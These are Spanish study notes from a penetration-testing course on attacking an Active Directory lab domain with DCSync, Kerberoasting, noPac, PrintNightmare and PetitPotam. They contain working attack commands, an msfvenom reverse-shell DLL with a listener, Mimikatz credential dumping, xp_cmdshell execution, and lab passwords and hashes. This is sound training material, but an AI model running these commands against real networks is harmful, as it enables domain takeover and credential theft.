Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
![[Pasted image 20260928153953.png]]
- Eliminar al usuario
damundsen del grupo Help Desk Level 1
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
![[Pasted image 20260928154008.png]]
- Confirmando que fue eliminado del grupo
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose
- Restablecer la contraseña del usuario
damundsen a su valor original (si lo conocemos) o hacer que nuestro cliente la establezca/alerte al usuario
no la conocemos
Ejemplo practico
Realiza lo aprendido en la seccion. Establece un SPON falso de la cuenta adunn, Kerberoast de user y crackea con hashcat para subir su pass
wley:transporter@4
- Nos logueamos como wley
![[Pasted image 20260928154549.png]]
- Wley tiene derechos de force change pass sobre damundsen asique establecemos una variable con la nueva cred de damundsen y forzamos su cambio
![[Pasted image 20260928154635.png]]
- Nos logueamos como damundsen usando la nueva cred
![[Pasted image 20260928154727.png]]
- Como damundsen tiene prives de GenericWrite sobre Help Desk Level 1, nos vamos a autoañadir al grupo que es un anidado de Information Technology que tiene GenericAll sobre un usuario admin llamado adunn
- Miramos que no pertenezcamos ya (no estamos)
![[Pasted image 20260928154746.png]]
- Nos añadimos y comprobamos que ahora estamos
![[Pasted image 20260928154811.png]]
- Como no podemos parar la ejecucion del usuario administrador, modificamos su atributo SPN para añadirle un SPN ficticio y realizar un Kerberoast con Rubeus en el que pedimos su TGS
![[Pasted image 20260928154849.png]]
- Lo crackeamos offline
![[Pasted image 20260928154959.png]]
![[Pasted image 20260928155007.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 8. Acls
4. Dcsync
Basado en las secciones anteriores ahora tenemos control sobre el usuario adunn que tiene privs de DCSync en el dominio
Preparacion del escenario
MS01 Windows –> htb-student:Academy_student_AD!
Necesitaremos usar secretsdump.py para ello puede conectarte desde una PS de MS01 al host Linux 172.16.5.225 –> htb-student:HTB_@cademy_stdnt!
Tambien podemos usar simplemente secretsdump.exe desde Windows
Que es DCSync y como funciona
Es una tecnica para robar la BBDD de pass de AD usando el Protocolo Remoto del Servicio de Replicacion de Directorios integrado que es usado por los controladores de dominio para replicar los datos del dominio
Nos permite imitar un DC para obtener los hashes NTLM de los usuarios
Solicitaremos a un DC que replique las creds a traves del derecho DS-Replication-Get-Changes-All
Para esto tenemos que tener una cuenta con derechos para realizar la replicacion del dominio:
- Replicating Directory Changes
- Replicating Directory Changes All
Ambos establecidos. Los Domain/Enterprise Admins lo tienen por defecto
- Miramos los derechos de replicacion de adunn a traves de ADSI Edit
![[Pasted image 20260928160824.png]]
Es común durante una evaluación encontrar otras cuentas que tienen estos derechos, y una vez comprometidas, su acceso puede ser utilizado para obtener el hash de contraseña NTLM
2. Miramos la pertenencia a grupos de adunn
Get-DomainUser -Identity adunn |select samaccountname,objectsid,memberof,useraccountcontrol |fl
![[Pasted image 20260928160921.png]]
Vemos que es un usuario estandar
3. Confirmamos con PowerView que es un usuario estandar. Necesitamos el SID del usuario que salio en el comando anterior. Con esto veremos si tiene derechos de replicacion
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
![[Pasted image 20260928161132.png]]
Si tuvieramos el derecho WriteDacl sobre un usuario que tuvieramos control, podriamos modificar sus derechos para añadirles los necesarios para realizar DCSync con esa cuenta
4. Extraemos los hashes del DC al confirmar que tenemos privs de DCSync. Usamos -just-dc para extraer hashes NTLM y tickets Kerberos
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/[email protected]
![[Pasted image 20260928161418.png]]
- -just-dc-ntlm: si solo queremos hashes NTLM
- -just-dc-user <\USERNAME>: extraer datos solo de un usuario especifico
- -pwd-last-set: ver cuando se cambio la ultima contraseña de cada cuenta
- -history: volcar el historial de contraseñas
- -user-status: comprobar si un usuario esta deshabilitado
- Si revisamos los archivos creados con -just-dc veremos que hay 3 tipos: uno con hashes NTLM, otro con claves Kerberos y uno con claves en texto plano NTDS (cuentas con cifrado reversible encendido)
ls inlanefreight_hashes*
![[Pasted image 20260928161719.png]]
Cifrado reversible
Es raro encontrar cuentas con esto. Suelen ser cuentas para dar soporte a aplicaciones que usan ciertos protocolos que requieren la pass de un usuario para autenticacion
![[Pasted image 20260928161859.png]]
Se almacenan utilizando cifrado RC4. El truco aquí es que la clave necesaria para descifrarlas se almacena en el registro (la Syskey) y puede ser extraída por un Administrador de Dominio o equivalente. Herramientas como secretsdump.py descifrarán cualquier contraseña almacenada con cifrado reversible
Podemos enumerar estas cuentas usando Get-ADUser:
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
![[Pasted image 20260928162037.png]]
Podemos ver que una cuenta, proxyagent, tiene la opción de cifrado reversible activada también con PowerView::
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
![[Pasted image 20260928162101.png]]
Notaremos que la herramienta descifró la contraseña y nos proporcionó el valor en texto plano.
cat inlanefreight_hashes.ntds.cleartext
![[Pasted image 20260928162120.png]]
DCSync con Mimikatz
- Debemos ejecutar Mimikatz en una shell con contexto del usuario con estos privs
runas /netonly /user:INLANEFREIGHT\adunn powershell
![[Pasted image 20260928162303.png]]
- Ejecutamos mimikatz apuntando a un usuario,
administrator
.\mimikatz.exe
# privilege::debug
# lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
![[Pasted image 20260928162348.png]]
Ejemplo practico
- Ejecuta un ataque DCSync y busca otro usuario con
Store password using reversible encryption set
- Nos conectamso via RDP
![[Pasted image 20260928163828.png]]
- Miramos los usaurios con reverse encrypt pass habilitado y encontramos el segundo usuario
![[Pasted image 20260928164742.png]]
- Cual es la pass del usuario en texto plano
- Lo confirmamos
![[Pasted image 20260928164955.png]]
- Revisamos que adunn tenga privs para DCSync (necesitamos el SID)
![[Pasted image 20260928164008.png]]
- Nos conectamos al Linux del dominio via ssh y usamos secretsdump
![[Pasted image 20260928164242.png]]
adunn:SyncMaster757
![[Pasted image 20260928164419.png]]
![[Pasted image 20260928165104.png]]
- Al final de secretsdump ya nos da la cred en texto plano del usuario con reverse encrypt pass pero tambien se puede ver en el archivo que nos da secretsdump acabado en cleartext
![[Pasted image 20260928165122.png]]
- Realiza un DCSync y sube el hash NTLM de
khartsfield
- Revisamos el archivo que contiene los hashes NTLM y filtramos por el usuario para conseguir el hash NTLM
![[Pasted image 20260928165919.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 9. Organizando El Escritorio
1. Acceso Privilegiado
Una vez conseguido foothold en el dominio, nuestro objeto cambia a avanzar nuestra posicion moviendonos lateral o verticalmente para obtener acceso a otros hosts y finalmente lograr el compromiso del dominio
Que passa si aun NO TENEMOS PRIVS ELEVADOS sobre una cuenta del dominio
Formas para movernos por el dominio:
- RDP
- PowerShell Remoting o PSRemoting o acceso de administracion remotta WinRM
- MSSQL Server con una cuenta de privs sysadmin
Se puede enumerar el acceso a un host de varias maneras. La mas facil con BloodHound ya que existen las siguentes aristas para mostrarnos que tipos de privs de acceso tenemos con un usuario a un host:
Configuracion del escenario
RDP a MS01
Linux (mssqlclient y evilwin-rm) o via SSH (172.16.5.225) –>
htb-student:HTB_@cademy_stdnt!
Escritorio remoto
Si tenemos control de un usuario administrador local en una maquina determinada, podremos acceder a ella a traves de RDP
Otras veces obtendremos control de un usuario que no tiene privs de adminsitracion local pero si tiene derechos para conectarse via RDP
Usando PowerView
Get-NetLocalGroupMember: podemos enumerar los miembros del grupo Remote Desktop Users
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
![[Pasted image 20260929154153.png]]
Aqui vemos que todos los usuarios del dominio pueden conectarse via RDP al host
Usando BloodHound
Comproabar los derechos de adminsitador local y ejecucion del grupo Domain User
![[Pasted image 20260929154428.png]]
Si obtenemos control del usuario a traves de falsificacion de respuesta LLMNR/NBT-NS o Kerberoasting, podemos buscar el nombre de usuario en BloodHounf y comprobar:
Los derechos de acceso remoto –> Node Info > Execution Rights
![[Pasted image 20260929154553.png]]
Otra forma es revisar Analysis y ejecutar consultas predefinidas Workstations where Domain Users can RDP o Find Servers where Domain Users can RDP
WinRM
PowerView
Usar PowerView con Get-NetLocalGroupMember para el grupo Remote Management Users:
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
![[Pasted image 20260929154858.png]]
BloodHound
Podemos usar la siguiente consulta Cypher para buscar usuarios con este tipo de acceso pegandola en Raw Query:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
![[Pasted image 20260929154951.png]]
Podriamos añadirla como consulta personalizada a la instalacion de BloodHound:
![[Pasted image 20260929155029.png]]
Conexion
- Desde Windows usando el cmdlet Enter-PSSession en PS
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
![[Pasted image 20260929155157.png]]
- Desde Linux con evilwin-rm
evil-winrm -i 10.129.201.234 -u forend
![[Pasted image 20260929155227.png]]
Adminsitrador de SQL Server
Podemos obtener credenciales para una cuenta con este acceso a través de Kerberoasting (común) u otros como la Falsificación de Respuesta LLMNR/NBT-NS o la pulverización de contraseñas
Otra forma en que puedes encontrar credenciales de servidor SQL es usando la herramienta Snaffler para encontrar archivos web.config u otros
Comprobacion BloodHound
Podemos usar la siguiente query para encontrar acceso SQLAdmin buscando los SQL Admin Rights en la pestaña Node Info o con la siguiente consulta Cypher:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
![[Pasted image 20260929155430.png]]
Podriamos usar nuestros derechos de wley para cambiar la cred de damundsen y autenticarnos como el a traves de PowerUpSQL
Conexion Windows
cd .\PowerUpSQL\
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
![[Pasted image 20260929155554.png]]
Podriamos entonces conectarnos contra el SQL Server y ejecutar consultas personalizadas o comandos en el SO
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
![[Pasted image 20260929155646.png]]
Conexion Linux
mssqlclient.py de Impacket
mssqlclient.py INLANEFREIGHT/[email protected] -windows-auth
![[Pasted image 20260929155908.png]]
> help
![[Pasted image 20260929155922.png]]
> enable_xp_cmdshell
![[Pasted image 20260929155943.png]]
> xp_cmdshell whoami /priv
![[Pasted image 20260929160004.png]]
vemos que tenemos SeImpersonatePrivilege, que puede ser aprovechado en combinación con una herramienta como JuicyPotato, PrintSpoofer, o RoguePotato para escalar a privilegios de nivel `SYSTEM`
Ejemplo practico
neo4j:HTB_@cademy_stdnt!
- Que otro usuario del dominio tiene CanPSRemote hacia un host
- Nos conectamos via RDP
![[Pasted image 20260929160453.png]]
- Ejecutamos SharpHound, neo4j y BloodHound
![[Pasted image 20260929160536.png]]
![[Pasted image 20260929160605.png]]
![[Pasted image 20260929160714.png]]
![[Pasted image 20260929160754.png]]
![[Pasted image 20260929160816.png]]
- Ejecutamos la query Cypher para ver que usuario tienen CanRemote
![[Pasted image 20260929161125.png]]
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
- Que host tiene puede acceder via WinRM
![[Pasted image 20260929161126.png]]
- Aprovecha SQLAdmin del usuario autenticado en ACADEMY-EA-DB01 (172.16.5.150) y sube la flag C:\Users\damundsen\Desktop\flag.txt
- Ejecutamos la query Cypher para ver que usuarios tienen SQLAdmin sobre algun host
![[Pasted image 20260929161158.png]]
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
wley:transporter@4
- Cambiamos la cred a damnundsen desde una sesion con wley
![[Pasted image 20260928154549.png]]
![[Pasted image 20260928154635.png]]
htb-student:HTB_@cademy_stdnt!
damundsen:Password123!@#
- Hacemos ssh hacia el host linux y ejecutamos mssqlclient para ejecutar comandos via xpcmdshell
![[Pasted image 20260929163413.png]]
![[Pasted image 20260929163529.png]]![[Pasted image 20260929163730.png]]![[Pasted image 20260929163718.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 9. Organizando El Escritorio
2. El Problema Del Doble Salto De Kerberos
Surge cuando un atacante intenta usar autenticacion Kerberos a traves de dos o mas saltos. El problema esta en como se conceden los tickets:
Los tickets son fragmentos firmados por el KDC que indican los recursos que puede acceder una cuenta. Con kerberos al autenticarnos nos da un ticket para acceder a ese objeto y con hashes NTLM se guarda en nuestra sesion
Antecedentes
Suele ocurrir cuando se usa WinRM/Powershell ya que el mecanismo de autenticacion solo proporciona un ticket para acceder a un recurso especifico lo que causara problemas en movimientos laterales
En esta situacion la cuenta de usuario que se esta usando tiene los derechos para realizar la accion pero se le estan negando
El quid esta en que cuando usamos WinRM con Kerberos, este no se guarda en la cache. Si lo hacemos con hashes NTLM este se almacena en la sesion para acceder a otros recursos posteriores
Ejemplo
Nos conectamos via WinRM y usamos Mimikatz. No vemos nuestra cred del usuario backupadm en memoria
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm
cd 'C:\Users\Public\'
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
![[Pasted image 20260929164702.png]]
Efectivamente, hay procesos que se ejecutan en el contexto del usuario backupadm, como wsmprovhost.exe, que es el proceso que se genera cuando se inicia una sesión remota de Windows PowerShell.
tasklist /V |findstr backupadm
![[Pasted image 20260929164731.png]]
En los términos más simples, en esta situación, cuando intentamos emitir un comando multiservidor, nuestras credenciales no se enviarán desde la primera máquina a la segunda
Supongamos que tenemos tres hosts: Host de ataque –> DEV01 –> DC01. Nuestro host de ataque es una máquina Parrot dentro de la red corporativa, pero no está unida al dominio. Obtenemos un conjunto de credenciales para un usuario de dominio y descubrimos que forma parte del grupo Remote Management Users en DEV01. Queremos utilizar PowerView para enumerar el dominio, lo que requiere comunicación con el controlador de dominio (Domain Controller), DC01.
![[Pasted image 20260929164842.png]]
Cuando nos conectamos a DEV01 utilizando una herramienta como evil-winrm, nos conectamos con autenticación de red, por lo que nuestras credenciales no se almacenan en la memoria y, por lo tanto, no estarán presentes en el sistema para autenticarse en otros recursos en nombre de nuestro usuario
Esto sucede porque el ticket TGT (Ticket Granting Ticket) de Kerberos del usuario no se envía a la sesión remota; por lo tanto, el usuario no tiene forma de probar su identidad y los comandos ya no se ejecutarán en el contexto de este usuario
Al autenticarse en el host objetivo, el ticket del servicio de concesión de tickets (TGS) del usuario se envía al servicio remoto, lo que permite la ejecución de comandos, pero el ticket TGT del usuario no se envía. Cuando el usuario intenta acceder a recursos posteriores en el dominio, su TGT no estará presente
Soluciones alternativas
Solución alternativa n.º 1: Objeto PSCredential
También podemos conectarnos al host remoto a través del host A y configurar un objeto PSCredential para pasar nuestras credenciales nuevamente
- Después de conectarnos a un host remoto con credenciales de dominio
import-module .\PowerView.ps1
![[Pasted image 20260929165133.png]]
Como se ve a continuación, obtenemos un error porque no podemos pasar nuestra autenticación al controlador de dominio para consultar las cuentas SPN
2. Si verificamos con klist, vemos que solo tenemos un ticket de Kerberos en caché para nuestro servidor actual.
klist
![[Pasted image 20260929165213.png]]
- Así que ahora, configuremos un objeto PSCredential e intentemos de nuevo. Primero, configuramos nuestra autenticación.
$SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
![[Pasted image 20260929165240.png]]
- Ahora podemos intentar consultar las cuentas SPN usando PowerView y tenemos éxito
get-domainuser -spn -credential $Cred | select samaccountname
![[Pasted image 20260929165303.png]]
- Si nos conectamos por RDP al mismo host, abrimos un CMD y escribimos
klist, veremos que tenemos los tickets necesarios en caché para interactuar directamente con el controlador de dominio, y no tenemos que preocuparnos por el problema del doble salto
klist
![[Pasted image 20260929165403.png]]
Solución alternativa n.º 2: Registrar la configuración de PSSession
Qué pasa si estamos en un host unido al dominio y podemos conectarnos de forma remota a otro usando WinRM? ¿O si estamos trabajando desde un host de ataque de Windows y nos conectamos a nuestro objetivo a través de WinRM usando el cmdlet Enter-PSSession?
- Establecer primero una sesión de WinRM en el host remoto
Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadm
![[Pasted image 20260929165523.png]]
- Si verificamos los tickets en caché usando
klist, veremos que el mismo problema existe. Debido al problema del doble salto, solo podemos interactuar con los recursos en nuestra sesión actual, pero no podemos acceder directamente al DC usando PowerView. Podemos ver que nuestro TGS actual es válido para acceder al servicio HTTP en el objetivo, ya que nos conectamos a través de WinRM, que utiliza solicitudes SOAP
klist
![[Pasted image 20260929165626.png]]
- Tampoco podemos interactuar directamente con el DC usando PowerView
Import-Module .\PowerView.ps1
get-domainuser -spn | select samaccountname
![[Pasted image 20260929165650.png]]
- Un truco que podemos usar aquí es registrar una nueva configuración de sesión usando el cmdlet Register-PSSessionConfiguration.
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
![[Pasted image 20260929165728.png]]
-
Una vez hecho esto, necesitamos reiniciar el servicio WinRM escribiendo Restart-Service WinRM en nuestra PSSession actual. Esto nos expulsará, así que iniciaremos una nueva PSSession usando la sesión registrada con nombre que configuramos previamente.
-
Después de iniciar la sesión, podemos ver que el problema del doble salto ha sido eliminado, y si escribimos klist, tendremos los tickets en caché necesarios para llegar al controlador de dominio. Esto funciona porque nuestra máquina local ahora se hará pasar por la máquina remota en el contexto del usuario backupadm y todas las solicitudes de nuestra máquina local se enviarán directamente al controlador de dominio.
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess
klist
![[Pasted image 20260929165832.png]]
- Ahora podemos ejecutar herramientas como PowerView sin tener que crear un nuevo objeto PSCredential.
get-domainuser -spn | select samaccountname
![[Pasted image 20260929165852.png]]
![[Pasted image 20260929165904.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 9. Organizando El Escritorio
3. Vulnerabilidades De Ultima Generacion
Configuracion del escenario
Realizaremos los ejemplos desde un host Linux
Tambien usaremos uno Windows para usar herramientas como Mimikatz o Rubeus en alguno de los ataques
NoPac (Suplantacion de SamAccountName)
Vulnerabilidad Sam_The_Admin o noPac o SamAccountName Spoofing: permite escalar privs en el dominio desde cualquier usuario estandar hasta el nivel de Domain Admin con un solo comando
Aprovechamos la posibilidad de cambiar el SamAccountNmae de una cuenta de equipo por el de Domain Controller:
- Por defecto los usuarios autenticados pueden añadir hasta 10 equipos de un dominio
- Cuando se hace cambiamos el nombre del nuevo host para que coincida con el SamAccountName de un DC
- Tras esto solicitamos tickets Kerberos haciendo que el servicio Kerberos nos devuelva tickets con el nombre del DC en lugar del nuevo nombre
- Tendremos acceso como ese servicio e incluso se nos puede proporcionar una shell SYSTEM en el DC
Herramienta para el ataque:
- Instalamos Impacket y la herramienta noPac
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install
git clone https://github.com/Ridter/noPac.git
-
Usamos los scripts de NoPac para comprobar que el sistema es vulnerable scanner.py y despues ejecutamos el exploit noPac.py para obtener la shell SYSTEM
Podemos usar el escaner con una cuenta de dominio estandar para intentar obtener el TGT del DC objetivo. Si tiene exito el sistema es vuln. En algunos sistemas el ms-DS-MachineAccountQuota esta establecido en 10, si esta en 0 el ataque fallara porque no tendremos derechos de añadir una nueva maquina
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
![[Pasted image 20260929182617.png]]
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
![[Pasted image 20260929182644.png]]
Notaremos que se establece una sesión de shell semi-interactiva con el objetivo utilizando smbexec.py. Ten en cuenta que con las shells de smbexec tendremos que usar rutas exactas en lugar de navegar por la estructura de directorios usando cd
- NoPac guarda el TGT en el host de ataque
ls
![[Pasted image 20260929182754.png]]
- Podriamos usar el archivo cchache para realizar otros ataques como DCSync (podemos hacer esto con la herramienta especificando -dump y usara secretsdump)
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
![[Pasted image 20260929182917.png]]
PrintNightmare
Se ejecuta en todos los SO Windows y permite escalada de privs y la ejecucion remota de codigo
La tratamos en Escalada de privs Windows pero vamos a verla dentro de un AD
Exploit: cube0x0
Para que funcione necesitaremos la version Impacket de cube0x0
git clone https://github.com/cube0x0/CVE-2021-1675.git
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
- Usamos rpcdump.py para ver si
Print System Asynchronous Protocol y Print System Remote Protocol estan expuestos en el objetivo:
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
![[Pasted image 20260929183327.png]]
- Tras confirmarlo podemos proceder a intentar usar el exploit. Primero creamos un payload DLL con msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
![[Pasted image 20260929183418.png]]
- Alojamos el payload en un smbserver.py
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
![[Pasted image 20260929183442.png]]
- Abrimos un listener en MSF
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.5.225
set LPORT 8080
run
![[Pasted image 20260929183528.png]]
- Ejecutamos el exploit:
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:[email protected] '\\172.16.5.225\CompData\backupscript.dll'
![[Pasted image 20260929183603.png]]
- Obtenemos una shell SYSTEM:
![[Pasted image 20260929183629.png]]
PetitPotam (MS-EFSRPC)
Es una vulnerabilidad de suplantacion de LSA que permite a un atacante no autenticado forzar a un DC autenticarse contra otro host usando NTLM por el puerto 445 a traves del protocolo LSARPC abusando el protocolo MS-EFSRPC
Esta técnica permite a un atacante no autenticado tomar el control de un dominio de Windows donde los Servicios de Certificados de Active Directory (AD CS) están en uso. En el ataque, una solicitud de autenticación del controlador de dominio objetivo es retransmitida a la página de inscripción web del host de la Autoridad de Certificación (CA) y realiza una solicitud de firma de certificado (CSR) para un nuevo certificado digital
Luego este certificado puede ser usado con una herramienta como Rubeus o gettgtpkinit.py de PKINITtools
-
Iniciamos ntlmrelayx.py en una ventana de nuestro host de ataque donde especificamos la URL de inscripcion para el host CA y usando la plantilla AD CS
Si no conociéramos la ubicación de la CA, podríamos usar una herramienta como certi para intentar localizarla
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
![[Pasted image 20260929184048.png]]
- En otra ventana ejecutamos PetitPotam.py para intentar forzar al DC a autenticarse en nuestro host
python3 PetitPotam.py <IP del host de ataque> <IP del controlador de dominio>
![[Pasted image 20260929184248.png]]
Existe una versión ejecutable de esta herramienta que se puede ejecutar desde un host de Windows
El disparador tambien se ha añadido a Mimikatz y se puede lanzar usando:
misc::efs /server:<Controlador de dominio> /connect:<HOST DE ATAQUE>
- Capturamos el certificado en BASE64 para DC01
![[Pasted image 20260929184320.png]]![[Pasted image 20260929184330.png]]
- Podemos usar el certificado y gettgtpkinit.py para solicitar un TGT para el DC
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache
![[Pasted image 20260929184426.png]]
- El TGT que recogimos se guardo en
dc01.ccache por lo que ahora lo establecemos en la variable KRB5CCNAME
export KRB5CCNAME=dc01.ccache
klist
![[Pasted image 20260929184715.png]]
- Ahora usamos el TGT con secretsdump para realizar un DCSync y recuperar todos los hashes NTLM del dominio
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
![[Pasted image 20260929184607.png]]
- Confirmando acceso de administrador al controlador de dominio mediante PtH
crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf
![[Pasted image 20260929184752.png]]
Ruta alternativa
Una vez tenemos TGT usaremos la herramietna de PKINITtools getnthash para solicitar el hash NT a traves de una solicitud TGS para nuestro objetivo usando Kerberos U2U
Esto se puede descifrar con la clave de cifrado AS-REP que obtuvimos al solicitar el TGT anteriormente.
python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$
![[Pasted image 20260929185047.png]]
Ahora podemos usar el ahsh para hacer el DCSync con secretsdump
secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba
![[Pasted image 20260929185116.png]]
Otra alternativa
Al recuperar el hash del certificado en ntlmrelayx podriamos usar el certificado en Rubeus desde un Windows para solicitar el TGT y realizar un PTT todo a la vez
Necesitaremos un host Windows
.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt
![[Pasted image 20260929185246.png]]![[Pasted image 20260929185255.png]]
Escribimos klist para confirmar de que el ticket esta en la memoria:
klist
![[Pasted image 20260929185322.png]]
De nuevo, dado que los controladores de dominio tienen privilegios de replicación en el dominio, podemos usar el pass-the-ticket para realizar un ataque DCSync usando Mimikatz desde nuestro host de ataque de Windows. Aquí, obtenemos el hash NT para la cuenta KRBTGT, que podría usarse para crear un Golden Ticket y establecer persistencia. Podríamos obtener el hash NT de cualquier usuario privilegiado usando DCSync y pasar a la siguiente fase de nuestra evaluación
cd .\mimikatz\x64\
.\mimikatz.exe
# lsadump::dcsync /user:inlanefreight\krbtgt
![[Pasted image 20260929185440.png]]
Ejemplo practico
Aplica lo aprendido en la seccion para obtener un shell en DC01 y obtener la flag del Administrator/Desktop/DailyTask
- Nos conectamos via SSH y vamos al directorio de las herramientas
/opt
![[Pasted image 20260929185711.png]]
- Ejecutamos primero el scritp de scanner de NoPac para ver si es vuln. Lo es, por lo que lanzamos noPac.py, obtenemos shell con privs en el DC y recuperamos la flag
![[Pasted image 20260929185830.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 9. Organizando El Escritorio
4. Configuraciones Incorrectas Varias
Configuracion del escenario
Usaremo tanto host Windows como Linux
Linux –> htb-student:HTB_@cademy_stdnt!
Pertenencia a grupos relacionados con Exchange
A Exchange se le suelen conceder privilegios dentro del dominio. El grupo Exchange Windows Permissions no es un grupo protegido pero a sus miembros se les concede la capacidad de escribir una DACL
Podemos dar permisos DCSync a un usuario, añadir cuentas a este grupo aprovechando una DACL o una cuenta comprometida que sea miembtro de Account Operators
Este repositorio de GitHub detalla algunas técnicas para aprovechar Exchange para escalar privilegios en un entorno de AD
Otro grupo importante es Exchange Organization Management (son los Domain Admins de Exchange) y puede acceder a los buzones de correo de todos los usuarios. Tiene control total sobre la OU Microsoft Exchange Security Groups que conteien el grupo Exchange Windows Permissions
- Ver los permisos de Organization Management
![[Pasted image 20260929190741.png]]
Si podemos comprometer un servidor de Exchange, esto a menudo nos llevará a obtener privilegios de Domain Admin. Además, el volcado de credenciales en memoria desde un servidor de Exchange producirá decenas, si no cientos, de credenciales en texto plano o hashes NTLM. Esto se debe a menudo a que los usuarios inician sesión en Outlook Web Access (OWA) y Exchange almacena en caché sus credenciales en memoria tras un inicio de sesión exitoso
PrivExchange
El ataque PrivExchange es el resultado de un fallo en la característica PushSubscription de Exchange Server, que permite a cualquier usuario del dominio con un buzón de correo forzar al servidor de Exchange a autenticarse en cualquier host proporcionado por el cliente a través de HTTP
El servicio de Exchange se ejecuta como SYSTEM y tiene privilegios excesivos por defecto
Este fallo se puede aprovechar para retransmitir a LDAP (relay to LDAP) y volcar la base de datos NTDS del dominio. Si no podemos retransmitir a LDAP, esto se puede aprovechar para retransmitir y autenticarse en otros hosts dentro del dominio
Printer Bug
Fallo en el protocolo MS-RPRN. Este protocolo define la comunicación del procesamiento de trabajos de impresión y la gestión del sistema de impresión entre un cliente y un servidor
Para aprovechar este fallo, cualquier usuario del dominio puede conectarse a la tubería con nombre del administrador de trabajos de impresión (spooler) con el método RpcOpenPrinter y utilizar el método RpcRemoteFindFirstPrinterChangeNotificationEx, y forzar al servidor a autenticarse en cualquier host proporcionado por el cliente a través de SMB
El servicio de cola de impresión (spooler) se ejecuta como SYSTEM y se instala por defecto en los servidores de Windows que ejecutan Desktop Experience
Este ataque se puede aprovechar para retransmitir a LDAP y otorgar a tu cuenta de atacante privilegios DCSync para recuperar todos los hashes de contraseñas de AD.
